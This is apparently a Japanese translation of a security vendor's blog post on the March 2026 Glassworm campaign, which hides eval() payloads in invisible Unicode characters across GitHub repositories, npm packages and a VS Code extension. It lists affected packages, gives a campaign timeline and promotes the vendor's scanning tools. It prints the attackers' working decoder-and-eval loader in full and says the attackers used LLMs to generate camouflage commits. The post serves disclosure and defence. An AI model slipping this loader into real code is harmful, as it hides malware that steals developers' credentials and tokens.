
2026/03/15 22:08
**グラスワーム再登場:無視できないUnicode攻撃がリポジトリへ新たな波をもたらす**
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
Glasswormは2026年3月にGitHub、npm、およびVS Code全体で新たな見えないUnicode注入攻撃を開始しました。
2026年3月3日から9日までの調査で、少なくとも151件のGitHubリポジトリに、表示時に悪意ある
eval()ペイロードを生成する見えないUnicodeデコーダパターンが含まれていることが判明しました。同じ手法は3月12日にいくつかのnpmパッケージ(特に@aifabrix/miso-client v4.7.2と@iflow-mcp/watercrawl‑mcp 1.3.0–1.3.4)およびVS Code拡張機能quartz.quartz-markdown-editor v0.3.0にも現れました。侵害されたプロジェクトには、Wasmer、Reworm、およびanomalyco(OpenCode/SST)のopencode‑benchなどの高い注目度を持つリポジトリが含まれています。多くの場合、悪意あるコミットは実際に見えるように(ドキュメントの微調整、バージョンアップ、リファクタリング)しており、大規模言語モデルによって生成されて混在するように設計されたことが示唆されています。
注入されたコードはSolanaブロックチェーンアドレスへ呼び出しを行い、更なるマルウェアをダウンロードするペイロードにデコードされ、Glasswormの以前の「Invisible Code」シリーズ(2025年3月のnpmインシデントおよび2025年10月17日–31日のOpen VSX拡張機能)と同様です。
Aikidoのマルウェアスキャンパイプラインは現在、これらの見えないUnicode注入を検出します。既存ユーザーには影響を受けるパッケージに対して100/100のクリティカルファインディングが通知されます。同社の無料でオープンソースの「Aikido Safe Chain」ツールは、npm、npx、yarn、pnpm、およびpnpxをラップし、AIと人間のアナリストを活用したリアルタイムサプライチェーン保護を提供します。
侵害されたリポジトリやパッケージを使用する開発者は、Solanaベースのスクリプトによる認証情報窃盗のリスクがあります。業界全体では、Aikido Safe ChainのようなAI駆動型スキャンソリューションが採用され、同様のサプライチェーン攻撃を緩和することが期待されています。
本文
私たちがほぼ一年間追跡してきた「見えない脅威」が再び現れました
PolinRider キャンペーンは数百の GitHub リポジトリを乗っ取ったことで話題になりましたが、同時に新たな波として Glassworm の活動が GitHub、npm、VS Code へも広がっています。
昨年10月、私たちは隠れた Unicode 文字が GitHub リポジトリを乗っ取る手法であることを書き、テクニックの起源を Glassworm と名付けた脅威アクターに追跡しました。今月も同じアクターが再登場し、被害にあったリポジトリには Wasmer、Reworm、anomalyco(OpenCode および SST の背後にある組織)が含まれています。
「インビジブルコード」キャンペーンの一年
| 日付 | 事象 |
|---|---|
| 2025年3月 | Aikido が PUA Unicode 文字を使って負荷を隠す悪意ある npm パッケージを初めて発見 |
| 2025年5月 | 隠れた Unicode のリスクとサプライチェーン攻撃での乱用方法を詳細に説明したブログを公開 |
| 2025年10月17日 | 同じ手法で Open VSX 上の拡張機能が乗っ取られることを発見 |
| 2025年10月31日 | 攻撃者が GitHub リポジトリへ焦点を移したと判明 |
| 2026年3月 | 新たな大規模波が出現:数百の GitHub リポジトリが乗っ取られ、npm と VS Code も影響 |
攻撃手法の簡単復習
新しい波の規模に入る前に、この攻撃がどのように機能するかを振り返ります。数ヶ月にわたる報道にも関わらず、依然として開発者やツールが未熟に直面しています。
手法は「見えない Unicode 文字」に依存します:ほぼすべてのエディタ、端末、およびコードレビューインターフェースで何も表示されないコードスニペットです。攻撃者はこれらの隠れた文字を使い、空っぽに見える文字列内に実際のペイロードをエンコードします。JavaScript ランタイムがそれを検出すると、小さなデコーダーが真のバイト列を抽出し
eval() に渡します。
const s = v => [...v].map(w => ( w = w.codePointAt(0), w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 : w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null )).filter(n => n !== null); eval(Buffer.from(s(``)).toString('utf-8'));
s() に渡されるバッククオート文字列は、すべてのビューアで空っぽに見えますが、実際には見えない文字が詰め込まれており、デコードすると完全な悪意あるペイロードが生成されます。過去の事件では、そのデコードされたペイロードが Solana を配信チャネルとして第二段階スクリプトを取得・実行し、トークン、認証情報、秘密情報を盗むことができました。
2026年3月の波の規模
Glassworm ティアクターによる大規模キャンペーンがオープンソースリポジトリ全体に拡散しています。GitHub のコード検索でデコーダーパターンを含むリポジトリは現在 151 件以上がヒットし、実際の被害規模はさらに大きいと考えられます(多くの対象リポジトリは執筆時点で削除済みです)。GitHub の乗っ取りは 3月3日から3月9日の間に行われたようです。
キャンペーンは GitHub を超えて拡大しています。npm と VS Code マーケットプレイスでも同じ手法が採用されており、Glassworm が複数エコシステムで統一的なプッシュを実施していることが示唆されています。これは同組織の過去に見られたレジストリ間のピボットパターンと一致します。
| パッケージ | エコシステム | バージョン | 日付 |
|---|---|---|---|
| @aifabrix/miso-client | npm | 4.7.2 | 2026年3月12日 |
| @iflow-mcp/watercrawl-watercrawl‑mcp | npm | 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4 | 2026年3月12日 |
| quartz.quartz-markdown-editor | VS Code | 0.3.0 | 2026年3月12日 |
GitHub 上の注目すべき被害リポジトリ
特定したリポジトリの中には、星数が多い有名プロジェクトも含まれており、サプライチェーンへの影響を受ける価値の高いターゲットです。
AI 補助カモフラージュ
10月の記事で指摘したように、悪意ある注入は明らかに怪しいコミットとして現れません。周囲の変更は文書調整、バージョンアップ、小規模リファクタリング、バグ修正といった実際的なものであり、対象プロジェクトのスタイルに合致しています。このレベルのプロジェクト固有のカスタマイズは、攻撃者が大規模言語モデルを使って説得力ある「偽装コミット」を生成していることを示唆します。現在見られる 151 件以上の個別コード変更を手作業で作成することは実際的に不可能です。
検出と対策
見えない脅威にはアクティブな防御が必要です。視覚的なコードレビューや標準のリンターだけでは「見えない」ものを検知できません。Aikido では、インビジブル Unicode 注入を直接マルウェアスキャンパイプラインに組み込んだ検出機能を構築しています。
- すでに Aikido を利用している場合:これらのパッケージは「100/100」のクリティカルフィンディングとしてフィードに表示されます。
- まだ Aikido 未導入の場合:無料アカウントを作成し、リポジトリをリンクしてください。無料プランにはマルウェア検出が含まれており(クレジットカード不要)います。
さらに、サプライチェーンマルウェアをリアルタイムで停止できるツールは深刻な感染を防げます。それが Aikido Safe Chain のコンセプトです。npm、npx、yarn、pnpm、pnpx をラップし、AI と人間のマルウェアリサーチャーを組み合わせて最新のサプライチェーンリスクを検知・ブロックします。このツールは無料でオープンソースです。
脅威情報を購読する